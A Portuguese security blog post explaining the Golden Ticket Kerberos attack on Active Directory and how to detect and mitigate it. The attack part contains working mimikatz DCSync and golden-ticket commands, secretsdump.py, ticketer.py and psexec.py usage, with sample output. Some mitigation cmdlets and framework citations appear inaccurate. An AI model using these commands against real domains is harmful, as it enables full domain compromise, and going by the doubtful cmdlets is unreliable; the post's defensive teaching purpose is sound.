Golden Ticket: Deep dive

Se prepara que hoje o artigo é brabo! Você diz que seu ambiente é seguro. É mesmo? Então te convido a mergulhar nesse tema. Mesmo que você não seja técnico veja que com estratégias direcionadas um ataque pode ser bem sucedido. Este artigo é para todos os públicos e vai desde o alto nível a escovação de bit.

Então senta aí, relaxa, pega um café e veja se seu ambiente realmente está seguro… garanto que você vai ver seu ambiente com outros olhos…

1. MITRE ATT&CK – T1558 – Steal or Forge Kerberos Tickets

Como falei em outros posts de segurança no meu blog, Existe um framework chamado MITRE ATT&CK e nele, por sua vez, existem diversas técnicas e subtécnicas. Esta em questão a subtécnica chamada Golden Ticket (T1558.001) ao qual permite roubar ou forjar tickets Kerberos.

Para maior entendimento sobre o protocolo Kerberos, recomendo fortemente a leitura da RFC 4120 The Kerberos Network Authentication Service (V5). Neste post vou me ater ao Golden Ticket.

2. Golden Ticket (T1558.001)

O Golden Ticket é um Ticket Granting Ticket (TGT) forjado que permite ao invasor:

✅ Acessar qualquer recurso no domínio, sem autenticação legítima.
✅ Criar tickets válidos indefinidamente, ignorando políticas de expiração.
✅ Assumir identidades diferentes, inclusive Domain Admins.
✅ Persistir no ambiente, mesmo após a redefinição de senhas.

Isso ocorre porque o Kerberos confia exclusivamente na chave secreta de uma conta do domínio chamada krbtgt para validar TGTs. Se essa chave for comprometida, qualquer usuário pode ser autenticado como qualquer outra conta.

3. Por que o golden ticket é perigoso?

✅ Duração Indefinida → O ticket pode ser válido por anos, ignorando políticas de expiração.
✅ Persistência Silenciosa → Mesmo que senhas sejam alteradas, o ataque continua válido.
✅ Dificuldade de Detecção → O ticket parece legítimo para o Active Directory.
✅ Controle Total → O invasor pode criar, modificar e excluir qualquer objeto no AD.

Mesmo se os administradores redefinirem a senha do Domain Admin comprometido, o golden ticket ainda será válido, porque ele é baseado na chave da conta krbtgt, não na senha de usuários individuais.

Isso significa que o Golden Ticket que é um dos ataques mais devastadores contra o Active Directory.

4. Como o golden ticket funciona? – Explicação em alto nível

O ataque ocorre em três etapas principais:

O invasor obtém o hash NTLM da conta krbtgt

A conta krbtgt (Kerberos Ticket Granting Ticket) é usada pelo Active Directory para assinar e validar tickets. Se o atacante conseguir extrair o hash NTLM dessa conta, ele poderá criar tickets TGT falsificados.

Se você não sabe o que é Hash de uma conta, convido você a ler o artigo Pass-the-hash

O Invasor Cria um Golden Ticket

Agora que o atacante tem o hash NTLM do krbtgt, ele pode forjar um TGT válido para qualquer usuário.

O Invasor Usa o Golden Ticket para Acessar Recursos Críticos

Com o Golden Ticket carregado, o invasor pode:

🔹 Acessar servidores de arquivos

🔹 Acessar remotamente qualquer máquina

🔹 Executar consultas LDAP como Domain Admin

🔹 Criar novas contas privilegiadas para persistência

5. Requisitos para o ataque – Explicação em alto nível

Para que um invasor possa realizar de forma mais rápida (GUARDE ISSO) um ataque do tipo Golden Ticket, ele precisa atender a três requisitos fundamentais dentro do Active Directory:

Ter o ID (SID) do domínio;
Ter uma máquina no domínio;
Obter o Hash NTLM da Conta krbtgt

Tá… Mas como o atacante consegue estes dados e um computador? E se ele não tem um computador ou esses dados. Dá para fazer o ataque? a resposta é… SIM! Confira comigo na sessão abaixo.

6. Requisitos para o ataque – Escovando bit

Com os requisitos acima é possível executar o ataque de forma mais rápida. Agora mostro no detalhe como obter estes dados e o que fazer quando não se tem estas informações:

6.1. Ter o ID (SID) do Domínio

O Security Identifier (SID) do domínio é um identificador único para cada domínio que se cria no Active Directory. Este SID é usado para associar permissões e autenticações. O Golden Ticket precisa desse SID para que os TGTs forjados sejam aceitos pelo Kerberos.

6.1.1 Como obter o SID do domínio – Usando um computador do domínio

Se o invasor já tem acesso a uma máquina do domínio, ele pode executar:

whoami /user

📋 Exemplo de Saída Hipotética:

C:\Users\John.Wick>whoami /user

USER INFORMATION
----------------
User Name         SID
================= ===============================================
company\John Wick S-1-5-21-3969702612-433743026-1172009356-378322

O invasor usa esse SID do domínio na criação do Golden Ticket.

Se o atacante estiver dentro do domínio e quiser ver o SID de todas as contas:

wmic useraccount get name,sid

6.1.2 Como obter o SID do domínio – Sem usar um computador do domínio

Tá. Legal… mas eu não tenho acesso a uma máquina no domínio. Existe como obter essa informação? E a resposta é… SIM!

Existem formas de obter o SID do domínio sem estar logado em um computador ingressado no Active Directory. O SID do domínio não é um segredo protegido, e pode ser recuperado de diferentes maneiras — mesmo a partir de um computador fora do domínio.

A seguir, detalho algumas técnicas para obter o SID do domínio sem acesso direto a um computador ingressado no AD.

Executar Consultas LDAP anônimas

Se o Controlador de Domínio (DC) estiver permitindo consultas LDAP anônimas, um invasor pode recuperar o SID sem precisar de credenciais válidas.

Exemplo de ataque via ldapsearch (Linux)

Se o DC permite consultas anônimas, o invasor pode usar LDAP para extrair o SID do domínio:

ldapsearch -x -H ldap://10.10.10.5 -s base -b '' objectSid

📌 Explicação dos Parâmetros:

-x → Autenticação anônima.
-H ldap://10.10.10.5 → Endereço IP do DC.
-s base → Obtém apenas o objeto raiz.
-b '' → Realiza a busca na raiz do diretório.

📋 Exemplo de Retorno:

dn:
objectSid: S-1-5-21-1234567890-9876543210-1234567890

Efetuar enumeração SMB

Se o SMB do DC estiver exposto e permissões fracas permitirem consultas não autenticadas, um atacante pode obter o SID do domínio sem credenciais.

Exemplo de Ataque via `smbclient`

smbclient -L 10.10.10.5 -N

Se o SMB estiver mal configurado, ele pode listar compartilhamentos acessíveis e, potencialmente, informações sobre contas.

6.2. Ter acesso a uma máquina no domínio

O atacante “precisa” de acesso a qualquer máquina no domínio para injetar e usar o Golden Ticket de forma mais rápida.

6.2.1 Como o atacante pode conseguir acesso?

Obtendo a senha de uma conta comum + configuração inadequada do AD: Por padrão, no Microsoft Active Directory, os membros do grupo de usuários autenticados podem ingressar em até 10 contas de computador no domínio. Esse valor é definido no atributo no Active Directory que é chamado de ms-DS-MachineAccountQuota. Se essa configuração não foi alterada, ou pior, aumentada significativamente (por desconhecimento total de como realizar um Hardening) somado ao fato do atacante ter de posse uma conta comum, o mesmo pode, por exemplo, criar uma VM e efetuar o Join da VM no domínio.
Máquina já comprometida: Se o invasor já tem uma conta de usuário no AD, ele pode gerar e injetar o Golden Ticket.
Máquina com login interativo: Se o atacante tem acesso físico ou RDP, ele pode rodar ferramentas como Mimikatz para injetar o ticket.
Phishing ou malware: O invasor pode usar engenharia social para infectar uma máquina e ganhar acesso interativo.

6.2.2 E se o atacante não tem um computador?

O invasor não precisa necessariamente estar usando um computador do domínio para realizar o ataque. É claro que com um computador facilita muito a questão de acesso. Para realizar o ataque sem um dispositivo ingressado no domínio, o invasor precisa atender a três requisitos fundamentais:

Ter conectividade com o controlador de domínio

O invasor precisa poder se comunicar com o DC para acessar recursos do AD. Essa comunicação ocorre principalmente nas seguintes portas:

Protocolo	Porta
Kerberos	TCP/UDP 88
LDAP	TCP/UDP 389
SMB	TCP 445
RDP	TCP 3389

Se a rede do invasor permitir tráfego para o DC (sem firewall bloqueando), ele pode gerar tickets falsos e se autenticar no AD, mesmo sem um computador ingressado no domínio.

Obter credenciais roubadas (Pass-the-Ticket – PtT)

Se o invasor tiver um TGT válido extraído de outra máquina, ele pode usá-lo sem precisar de um computador no AD. Para saber mais sobre Pass-the-Ticket (PtT) confira o artigo Pass-The-Ticket: Guia completo.

Ter o hash da conta krbgtg

A forma de obtenção do hash eu explico mais abaixo, mas o importante é que, se o invasor tiver qualquer máquina (mesmo um laptop pessoal não ingressado no AD) com acesso ao DC, ele pode criar o golden ticket (usando, por exemplo o mimikatz) e exportar o ticket em outro dispositivo e usar esse outro dispositivo para se autenticar no domínio.

6.3. Obter o Hash NTLM da conta krbtgt

Outro requisito para executar um ataque do tipo Golden Ticket, é que o invasor precisa obter o hash NTLM da conta krbtgt, pois esse hash permite criar TGTs falsificados que o AD aceitará como legítimos.

6.3.1 Como um atacante obtém o hash da conta `krbtgt`?

DCSync Attack → Se o invasor já comprometeu um Domain Admin ou um DC, ele pode usar Mimikatz para simular um Controlador de Domínio e requisitar hashes diretamente.
Dumping de Credenciais com Mimikatz → Se o invasor tiver acesso a um Controlador de Domínio (DC), ele pode extrair credenciais diretamente da memória.

6.3.2 O hash precisa ser necessariamente NTLM ou poderia ser Kerberos?

O Golden Ticket Attack exige necessariamente o hash NTLM da conta krbtgt. O hash Kerberos (derivado da senha da conta krbtgt) não é suficiente para criar um TGT forjado válido. Vou explicar isso em detalhes.

Explicação Técnica

O Kerberos no AD suporta múltiplos algoritmos para criptografia e assinatura de tickets, como:

RC4-HMAC (baseado no NTLM hash)
AES-128 / AES-256 (baseado no hash Kerberos da senha)

Porém, o Kerberos ainda suporta RC4-HMAC por compatibilidade com versões antigas do AD. O hash NTLM da conta krbtgt é usado na assinatura e validação de TGTs quando o RC4-HMAC é utilizado. Por isso, um invasor que tenha esse hash pode criar TGTs válidos indefinidamente.

O Hash Kerberos (AES Keys) Poderia Ser Usado?

Tecnicamente, o Kerberos também usa chaves de criptografia derivadas da senha da conta krbtgt para validar tickets. Essas chaves são:

AES-128 Key
AES-256 Key

Se o ambiente estiver forçando o uso de AES no Kerberos e desativando RC4-HMAC, o invasor precisaria dessas chaves AES para criar um Golden Ticket válido. Porém, o Mimikatz ainda exige o hash NTLM por padrão para a criação de um Golden Ticket.

💡 Em resumo:

RC4-HMAC ativado → O hash NTLM da conta krbtgt é suficiente para criar um Golden Ticket.
RC4-HMAC desativado e apenas AES ativado → O invasor precisaria das chaves AES-128/AES-256, mas essa configuração é rara em ambientes legados.

7. Ferramentas e técnicas para executar um ataque de Golden Ticket

Aviso: Este conteúdo tem propósitos exclusivamente educacionais e deve ser utilizado para aprimorar a segurança da infraestrutura corporativa.

Os invasores podem usar várias ferramentas, como Mimikatz e Impacket, para executar um ataque de Golden Ticket.

7.1 Ataques a Backups do Active Directory

Se um invasor tiver acesso a backups do AD armazenados em servidores ou dispositivos de armazenamento, ele pode extrair os hashes do krbtgt desses arquivos.

Como extrair credenciais de backups

Se o invasor obteve acesso a um backup do AD, ele pode restaurá-lo em um ambiente controlado e extrair os hashes.

1️⃣ Copiar o backup do DC e montar a base de dados:

esentutl /mh C:\Backup\ntds.dit

2️⃣ Extrair os hashes usando Impacket (com secretsdump.py):

secretsdump.py -ntds C:\Backup\ntds.dit -system C:\Backup\SYSTEM LOCAL

✅ Agora o atacante tem o hash krbtgt extraído do backup.

7.2 Mimikatz

Um ataque típico do Golden Ticket consiste em três partes principais.

Passo 1: Comprometendo o hash da senha para a conta krbtgt

Para um ataque do Golden Ticket funcionar, um atacante precisa ter acesso de administrativo a um Controlador de Domínio ou ter feito o ataque de DCsync. Portanto, começaremos com essa suposição. Para exfiltrar o hash da senha do usuário krbtgt, o invasor pode usar o comando “lsadump::dcsync”.

PS> mimikatz.exe "lsadump::dcsync /user:DOMAIN\KRBTGT"
SAM Username : krbtgt
User Principal Name : krbtgt@DOMAIN.corp
Password last change : 09/06/2024 13:30:18
Object Security ID : S-1-5-21-1234567890-9876543210-1234567890-502 #
Credentials:
 Hash NTLM: 1b8cee43fd40a37b7c8b8114a4acc159 # NTLM Hash
. . .
 aes256_hmac (4096) :
ffa8bd945b203618bdf577c2d79a412345f140ba217b89cc0a9c1bfdb3939e2
. . .

Observe que “lsadump::dcsync /user:DOMAIN\KRBTGT” é um argumento de linha de comando para o Mimikatz que informa para ele executar uma operação “DCSync” usando a conta de usuário “DOMAIN\KRBTGT”, que é a conta padrão usada pelo serviço de autenticação Kerberos em ambientes do Windows Active Directory.

Passo 2: Forjando tickets Kerberos

Ao obter acesso ao hash de senha KRBTGT, eles podem usar Mimikatz para forjar tickets Kerberos. Isso pode envolver a criação de um ticket-granting ticket (TGT) falso para uma conta de usuário inexistente.

Observe que as atualizações de segurança em novembro de 2021 para Kerberos corrigiram esse método de ataque. Como resultado, se os controladores de domínio instalaram a atualização, uma conta de usuário real deve ser usada.

Para forjar um TGT, o invasor precisa fornecer certas informações como:

Função Mimikatz kerberos::golden:
Nome de domínio totalmente qualificado
Identificador de segurança do domínio (SID)
Hash da senha do usuário KRBTGT (usando AES-256 e, alternativamente, AES-128, NTLM ou RC4)
Nome de usuário a ser personificado,

O RID de grupos a serem incluídos no tíquete, sendo o primeiro o grupo primário do usuário, e o sinalizador ptt para indicar se o tíquete falsificado deve ser injetado na sessão atual em vez de salvá-lo em um arquivo:

PS> mimikatz.exe "kerberos::golden /domain:domain.corp
/sid:S-1-5-21-1234567890-9876543210-1234567890

/aes256:ffa8bd945b203618bdf577c2d79a412345f140ba217b89cc0a9c1bfdb3939e2 

/id:500 /user:UsuarioComum /groups:GroupNumber1, GroupNumber2 /ptt"

User : UsuarioComum
Domain : domain.corp (DOMAIN)
SID : S-1-5-21-1234567890-9876543210-1234567890
User Id : 500
Groups Id : *513 2668

ServiceKey: ffa8bd945b203618bdf577c2d79a412345f140ba217b89cc0a9c1bfdb3939e2 - aes256_hmac
-> Ticket : ** Pass The Ticket **
. . .
Golden ticket for 'UsuarioComum@domain.corp' successfully submitted for
current session

Note que com o sinalizador /id o adversário indicou o id do usuário para o qual ele quer criar o ticket. Neste caso, o invasor passa o valor 500 para o sinalizador /id para criar uma conta de administrador. O nome da conta do usuário pode ser qualquer coisa, como dado no exemplo.

Passo 3: Usando tickets Kerberos forjados

O TGT é assinado e criptografado com o hash de senha KRBTGT real. Com isso, o atacante pode utilizar o tíquete forjado para obter acesso a recursos integrados ao Kerberos o que o torna uma prova de identidade válida aos olhos de qualquer controlador de domínio.

O controlador de domínio emitirá tíquetes reais de serviço de concessão de tíquetes (TGS) com base no TGT forjado.

À medida que o invasor obtém mais informações sobre o ambiente, ele pode usar os tíquetes forjados para acessar aplicativos, bancos de dados ou outros recursos que usam o Active Directory para autenticação e autorização.

Por exemplo, ele pode descobrir, por exemplo, um grupo “SQL_Admins” com o RID correspondente durante uma fase de descoberta, o que pode dar a eles acesso a bancos de dados valiosos.

7.3 Impacket

Neste cenário, assumiremos que, ao executar um ataque Kerberoasting, um invasor despejou um arquivo de hashes e os quebrou para obter acesso de administrador ao Controlador de Domínio. Em outras palavras, temos a senha em texto simples de um usuário administrador que pode acessar o DC. Além disso, nosso nome de domínio será domain.corp para eficiência.

Um ataque típico do Golden Ticket com Impacket consiste em duas partes principais.

Passo 1: Forjando golden ticket

Para criar um golden ticket válido, certas informações são necessárias, como o NTHash da conta krbtgt do controlador de domínio e o SID do domínio. Essas informações podem ser obtidas usando o script secretsdump.py do Impacket, desde que o invasor tenha acesso de administrador ao controlador de domínio. Abaixo, você encontrará a sintaxe adequada para despejar NTHash para a conta krbtgt.

secretdump.py Administrator:"Password"@<IP_Domain_Controller>

NTHash de saída (exemplo): bf107a6870c6f7b4417c434a38abc43

Em seguida, o invasor precisa aprender o SID do domínio. Para isso, ele pode aproveitar a ferramenta lookupsid.py do Impacket. Observe que, embora o invasor escolha o DC como alvo, esse ataque funciona com qualquer controlador de domínio.

lookupsid.py domain.corp/Administrator:"Password"@<IP_Domain_Controller>

No exemplo, o SID do domínio é S-1-5-21-1234567890-9876543210-1234567890

Finalmente, o invasor usa a ferramenta ticketer.py da Impacket para forjar um Golden Ticket para um usuário de domínio. Uma vantagem do ticketer.py é que o tíquete forjado é gravado em um arquivo .ccache em vez de .kirbi; em outras palavras, o invasor não precisa convertê-lo.

ticketer.py -nthash bf107a6870c6f7b4417c434a38abc43 -domain-sid "S-1-5-21-1234567890-9876543210-1234567890" -domain domain.corp UsuarioComun

Observe que o comando acima é um exemplo de um invasor falsificando um Golden Ticker para um Domain Admin inexistente, UsuarioComum.

Passo 2: Usando golden ticket

Para usar o golden ticket, precisaremos configurar uma variável de ambiente de nome KRB5CCNAME. Nela, conterá o caminho do arquivo .ccache, que pode ser um caminho de arquivo absoluto ou relativo.

A variável de ambiente KRB5CCNAME é usada para informar às ferramentas Impacket que suportam tickets Kerberos onde encontrar o ticket. Isso permite que o invasor use o golden ticket para acessar o sistema como um usuário privilegiado.

Em seguida, o adversário pode usar as ferramentas de execução de comando do Impacket, como psexec.py, smbexec.py ou wmiexec.py, para carregar e autenticar com o ticket, eventualmente dando ao adversário uma execução de comando. Para que a autenticação Kerberos funcione, o adversário precisa fornecer o endereço IP do alvo, o endereço IP do Controlador de Domínio e o nome do domínio.

psexec.py $domain.corp/$Administrator@$TARGET_NAME -target-ip $TARGET_IP -dc-ip $DC_IP -no-pass -k

Observe que, enquanto a opção -no-pass informa ao script para pular a autenticação baseada em senha, a opção -k especifica que o tíquete Kerberos deve ser obtido da variável de ambiente KRB5CCNAME. O objetivo deste script é executar remotamente comandos no computador de destino usando a autenticação Kerberos sem precisar digitar uma senha.

8. Métodos de detecção de ataque Golden Ticket

Event ID 4769 → Solicitações suspeitas de tickets de serviço.
Event ID 4771 → Falhas de autenticação Kerberos.
Event ID 4624 (Tipo 3) → Logons de rede sem um TGT recente.

9. Técnicas de mitigação para ataques Golden Ticket

Bom até aqui foram dado diversos exemplos sobre como fazer o ataque de forma que você entenda como o atacante pode conseguir estes dados., mas o foco desse blog, como sempre é como se defender destes ataques. A seguir mostro várias técnicas para impedir ou mitigar o ataque.

9.1 TÉCNICA DE MITIGAÇÃO #1 – Trocar regularmente a senha da conta krbtgt

Resetar a conta krbtgt é uma ação crítica que precisa ser feita com muito planejamento, pois toda a autenticação Kerberos no domínio depende dessa conta.

Se for feito incorretamente, isso irá causar:

Falhas de autenticação massivas para usuários e serviços.
Desconexão de sessões RDP, VPNs e aplicativos Kerberos.
Erros em serviços que dependem de Kerberos, como SQL Server, IIS, e compartilhamentos SMB protegidos por Kerberos.

9.1.1 O que acontece quando resetamos a conta `krbtgt`?

O Kerberos usa a senha da conta krbtgt para assinar e validar Ticket Granting Tickets (TGTs).
Quando a senha da krbtgt é alterada, todos os tickets TGT previamente emitidos se tornam inválidos.
Resetar a senha duas vezes seguidas pode causar falhas imediatas em autenticação Kerberos, pois nenhuma versão anterior da senha estará disponível para validação.
Efetuar o rest duas vezes seguidas de forma rápida só deve ser feita se ficar evidenciado que existe um comprometimento do domínio e isso precisa estar muito alinhado com todas as áreas da empresa onde você está atuando.

9.1.2 A Maneira Segura de Resetar a Conta `krbtgt`

A melhor prática recomendada pela Microsoft e por especialistas em segurança é:

✅ Identificar o tempo de vida dos tickets kerberos

Antes de começar, verifique a configuração do tempo de vida dos tickets Kerberos no AD:

Get-KerberosPolicy

📌 Valores Padrão do AD:

Maximum lifetime for user ticket (TGT): 10 horas.
Maximum renewal lifetime for user ticket: 7 dias.

💡 Recomenda-se esperar no mínimo 12 a 24 horas entre as duas trocas da senha krbtgt.

✅ Verificar a atual senha da `krbtgt`

Antes de resetar, veja quantas vezes a senha já foi alterada:

Get-ADUser krbtgt -Properties pwdLastSet

Se pwdLastSet for muito recente, talvez a senha tenha sido resetada há pouco tempo.

✅ Realizar a primeira troca da senha (`krbtgt`)

Alterar a senha uma vez.
Esperar o tempo suficiente para que todos os TGTs existentes expirem naturalmente (tempo de vida dos tickets kerberos).
Isso mantém um período de transição em que tickets antigos ainda são válidos, enquanto novos tickets são assinados com a nova chave.

📌 Comando para Resetar a Senha pela Primeira Vez:

Set-ADAccountPassword -Identity krbtgt -Reset

📌 Intervalo Recomendado Antes da Segunda Troca:

O ideal é esperar o tempo máximo de vida dos tickets antes de resetar novamente.
O tempo padrão do TGT é 10 horas, mas pode ser diferente dependendo da configuração da política de Kerberos no AD.
Para garantir a expiração de todos os tickets, o recomendado é esperar pelo menos 12 a 24 horas antes de fazer a segunda troca.

✅ Realizar a segunda troca da senha (`krbtgt`)

Agora que todos os tickets antigos já expiraram, é seguro fazer a segunda troca.
Isso remove completamente qualquer possibilidade de tickets forjados ainda serem aceitos.

📌 Comando para Resetar a Senha pela Segunda Vez:

Set-ADAccountPassword -Identity krbtgt -Reset

Qual a periodicidade recomendada para resetar a conta `krbtgt`?

A periodicidade para resetar a conta krbtgt não é fixada universalmente, mas algumas diretrizes e frameworks de segurança sugerem boas práticas.

✅ Recomendação do NIST (National Institute of Standards and Technology)

📜 Fonte: NIST SP 800-63B – Digital Identity Guidelines

Não há um período exato definido pelo NIST, mas o framework recomenda que credenciais críticas e chaves de autenticação sejam rotacionadas periodicamente.
Para credenciais de alto impacto, como a senha da krbtgt, recomenda-se rotações frequentes para minimizar a exposição a ataques persistentes, como Golden Ticket.

🔹 Intervalo Recomendado: 180 dias (6 meses)
🔹 Em ambientes altamente sensíveis: 90 dias (3 meses)

📌 Referência:
🔗 NIST SP 800-63B

✅ Recomendação do NSA (National Security Agency)

📜 Fonte: NSA’s Guidelines for Securing Active Directory

A NSA recomenda que a conta krbtgt seja resetada pelo menos a cada 180 dias para minimizar o impacto de possíveis ataques.
A rotação deve ser dupla (resetar uma vez, esperar a expiração de tickets, e resetar novamente).

🔹 Intervalo Recomendado: 180 dias

📌 Referência:
🔗 NSA Active Directory Security Best Practices

✅ Recomendação do CIS (Center for Internet Security)

📜 Fonte: CIS Microsoft Windows Server Security Benchmark

CIS recomenda que a senha krbtgt seja alterada pelo menos uma vez por ano, como parte da higienização do ambiente e prevenção de comprometimentos persistentes.
Para organizações com alta criticidade, o CIS recomenda seguir as práticas da NSA (reset a cada 180 dias).

🔹 Intervalo Recomendado: 365 dias (1 ano) (Padrão)
🔹 Ambientes Críticos: 180 dias

📌 Referência:
🔗 CIS Microsoft Windows Server Benchmark

📌 Resumo das Recomendações por Framework

Framework	Periodicidade Recomendada
NIST SP 800-63B	90-180 dias (dependendo da criticidade)
NSA Security Guidance	180 dias
CIS Benchmark	365 dias (Padrão), 180 dias para ambientes críticos

9.2 TÉCNICA DE MITIGAÇÃO #2 – Restringir replicação do AD (Bloquear DCSync)

Como vimos na sessão 6.3. Obter o Hash NTLM da conta krbtgt o um dos métodos de se obter o hash da conta krbtgt é realizar o ataque DCSync que permite que um invasor simule um Controlador de Domínio e solicite hashes NTLM de qualquer conta do AD (incluindo krbtgt). Para realizar um ataque DCSync, o invasor precisa de uma conta com permissão para replicação de diretório.

As permissões que possibilitam um ataque DCSync são:

1️⃣ Replicating Directory Changes
2️⃣ Replicating Directory Changes All
3️⃣ Replicating Directory Changes In Filtered Set

🔹 O problema: Algumas contas administrativas herdam automaticamente essas permissões, tornando-as um alvo para invasores.
🔹 A solução: Identificar quais contas são privilegiadas (adminCount = 1) e verificar se elas possuem permissões de replicação.

Para obter a lista de contas, execute o comando abaixo:

Get-ADUser -Filter * -Properties adminCount | Where-Object { $_.adminCount -eq 1 }

Agora que sabemos quem são os usuários administrativos, o próximo passo é verificar se alguma dessas contas tem permissões de replicação no AD.

9.1.1 Verificar Contas com Permissões de Replicação

Execute o seguinte cmdlet para listar todas as contas que têm permissão de replicação de diretório:

Get-ADPermission -Filter * | Where-Object { $_.ExtendedRights -match "Replicating Directory Changes" }

📋 Exemplo de Saída (Se o Usuário Tem Permissão de Replicação)

IdentityReference   ActiveDirectoryRights
------------------  ---------------------
DOMAIN\Winston      ExtendedRight (Replicating Directory Changes)
DOMAIN\Charon       ExtendedRight (Replicating Directory Changes All)

✅ Agora sabemos quais contas têm direitos de replicação e podem ser usadas em um ataque DCSync.

9.1.2 Como remover as permissões de replicação de diretório?

Se encontrarmos contas que não deveriam ter permissão de replicação, podemos removê-las.

Para remover a permissão de replicação de um usuário específico, execute:

Remove-ADPermission -Identity "DOMAIN\Winston" -AccessRights ExtendedRight -ExtendedRights "Replicating Directory Changes"

Se precisar remover de todas contas, podemos usar:

$AdminAccounts = Get-Content c:\temp\AdminCountToRemove.txt
ForEach($AdminAccount in $AdminAccounts){
    Remove-ADPermission -Identity $AdminAccount -AccessRights ExtendedRight -ExtendedRights "Replicating Directory Changes"
}

Além de remover permissões desnecessárias, podemos reforçar a segurança criando uma GPO para bloquear DCSync negando a replicação de diretório para Domain Admins e/ou outras contas privilegiadas.

9.3 TÉCNICA DE MITIGAÇÃO #3 – Restringir dumping de credenciais

Se um atacante compromete uma máquina do domínio com privilégios elevados, como um membro do grupo Administrators ou Server Operators, ele pode usar Mimikatz para extrair hashes diretamente da memória do processo LSASS. Uma forma de evitar esse taque é a implementação do Credential Guard para proteger LSASS.

9.4 TÉCNICA DE MITIGAÇÃO #4 – Proteger os Backups do AD

Armazenar backups em locais protegidos.
Criptografar backups do AD e aplicar controle de acesso rigoroso.

9.5 TÉCNICA DE MITIGAÇÃO #5 – Implementação do grupo “Protected Users”

O Protected Users Group é um grupo especial introduzido no Windows Server 2012 R2 que adiciona proteções avançadas para contas privilegiadas, dificultando ataques como Golden Ticket, Pass-the-Hash (PtH) e Pass-the-Ticket (PtT). Ele foi projetado para reduzir a exposição de credenciais e aumentar a segurança das autenticações no Active Directory (AD).

O Que é o Protected Users Group?

O Protected Users Group é um grupo de segurança especial do Active Directory localizado em:

CN=Protected Users, CN=Users, DC=domain, DC=corp

Quando um usuário é adicionado a este grupo, o AD aplica proteções adicionais às suas credenciais. Essas proteções evitam que credenciais sejam armazenadas, reutilizadas ou roubadas, mitigando ataques persistentes.

✅ Protege Contra:

Pass-the-Hash (PtH)
Pass-the-Ticket (PtT)
Golden Ticket Attack
Ataques de Replay de Credenciais

🚨 Quem Deve Estar Neste Grupo?

Administradores de Domínio
Enterprise Admins
Administradores de Controle de Domínio (DC Admins)
Contas de Serviço Sensíveis 🚨

💡 Importante: Apenas contas interativas devem ser adicionadas. Contas de serviço podem ser impactadas negativamente!

🔐 Como o protected users group mitiga ataques?

✅ 1. Proteção Contra Pass-the-Hash (PtH)

🔹 O Protected Users Group impede PtH porque:

1️⃣ Hashes NTLM não são armazenados na memória.
2️⃣ Usuários no grupo só podem autenticar-se usando Kerberos.

📌 Mitigação: Mesmo que um atacante obtenha um hash NTLM de um usuário protegido, ele não poderá usá-lo para autenticação.

✅ 2. Proteção Contra Pass-the-Ticket (PtT)

🔹 O Protected Users Group impede PtT porque:

1️⃣ Os tickets Kerberos dos usuários protegidos têm uma validade curta (não podem ser renovados).
2️⃣ O usuário deve sempre reautenticar-se com sua senha ou smartcard.

📌 Mitigação: Mesmo que um atacante consiga um TGT válido, ele não poderá reutilizá-lo após sua expiração.

✅ 3. Proteção Contra Golden Ticket Attack

🔹 O Protected Users Group impede Golden Ticket porque:

1️⃣ Tickets Kerberos de usuários protegidos não podem ser forjados ou reutilizados.
2️⃣ Os tickets não podem ser renovados ou estendidos além da sua validade máxima.
3️⃣ A autenticação do usuário protegido ocorre diretamente com o DC – não aceita TGTs externos.

📌 Mitigação: Um Golden Ticket criado por um atacante não funcionará para contas protegidas.

Como Adicionar Usuários ao Protected Users Group?

Para adicionar um usuário ao Protected Users Group, execute:

Adicione contas privilegiadas ao grupo:

Add-ADGroupMember -Identity "Protected Users" -Members "CONTA"

9.6 TÉCNICA DE MITIGAÇÃO #5 – Desativar RC4-HMAC e Forçar AES para Kerberos

O ataque depende exclusivamente do hash NTLM da conta krbtgt, pois o Kerberos no Active Directory usa esse hash para assinar e validar Ticket Granting Tickets (TGTs). Porém, o Kerberos ainda suporta RC4-HMAC por compatibilidade com versões antigas do AD. O hash NTLM da conta krbtgt é usado na assinatura e validação de TGTs quando o RC4-HMAC é utilizado.

💡 Em resumo:

RC4-HMAC ativado → O hash NTLM da conta krbtgt é suficiente para criar um Golden Ticket.
RC4-HMAC desativado e apenas AES ativado → O invasor precisaria das chaves AES-128/AES-256, mas essa configuração é rara em ambientes legados

Se apenas AES estiver habilitado no Kerberos, o invasor precisaria das chaves AES também.

A Microsoft vem desativando RC4-HMAC em versões recentes do Windows Server para reduzir o risco de Golden Tickets baseados no hash NTLM. O ideal é que o Kerberos use apenas AES-256 para autenticação.

🔹 Para verificar se o Kerberos ainda usa RC4-HMAC, execute:

Get-ADDefaultDomainPasswordPolicy | Select-Object -Property MinPasswordAge, KerberosEncryptionType

Se RC4-HMAC estiver listado, então um invasor só precisa do hash NTLM da conta krbtgt.

9.6.1 Como Mitigar o Ataque?

1️⃣ Desativar RC4-HMAC no Kerberos

Forçar o uso de AES-128 e AES-256 no Active Directory.

Executar no PowerShell:

Set-ADDefaultDomainPasswordPolicy -KerberosEncryptionType AES256,AES128

Isso exige que um invasor tenha as chaves AES e não apenas o NTLM hash.

2️⃣ Resetar a Conta krbtgt Duas Vezes

Como os Golden Tickets são assinados pelo krbtgt, resetar a senha dessa conta duas vezes faz com que tickets antigos se tornem inválidos.
Siga as orietnações de reset de senha da krbtgt conforme sessão 9.1

9.6.2 Existe uma forma de mudar de NTLM para Kerberos apenas para o krbtgt ou algumas outras contas?

Sim, é possível migrar a conta krbtgt para usar apenas criptografia Kerberos (AES), desativando o uso de RC4-HMAC (que depende do hash NTLM). Essa mudança aumenta a segurança do ambiente e mitiga ataques como o Golden Ticket, pois forçará o Kerberos a validar apenas TGTs assinados com AES-128 ou AES-256.

Como Configurar a Conta `krbtgt` para Usar Apenas Kerberos (AES)

A configuração deve ser feita diretamente no Active Directory, garantindo que a conta krbtgt só aceite criptografia AES.

1️⃣ Passo 1: Verificar os Algoritmos de Criptografia Atuais

Antes de fazer qualquer alteração, é necessário verificar quais tipos de criptografia estão ativos na conta krbtgt.

Execute o seguinte comando no PowerShell em um Controlador de Domínio (DC):

Get-ADUser krbtgt -Properties msDS-SupportedEncryptionTypes

📋 Saída Possível:

msDS-SupportedEncryptionTypes : 0x27

Se o valor 0x27 estiver presente, significa que RC4-HMAC ainda está ativo.

2️⃣ Passo 2: Atualizar a Conta `krbtgt` para Usar Apenas AES

Agora, alteramos a configuração para forçar apenas AES-128 e AES-256, desativando RC4-HMAC.

Set-ADUser krbtgt -Replace @{msDS-SupportedEncryptionTypes=24}

📌 Explicação:

24 (0x18 em hexadecimal) habilita apenas AES-128 e AES-256.
Isso impede o uso de RC4-HMAC, eliminando a necessidade do hash NTLM.

✅ Confirmar a Configuração:

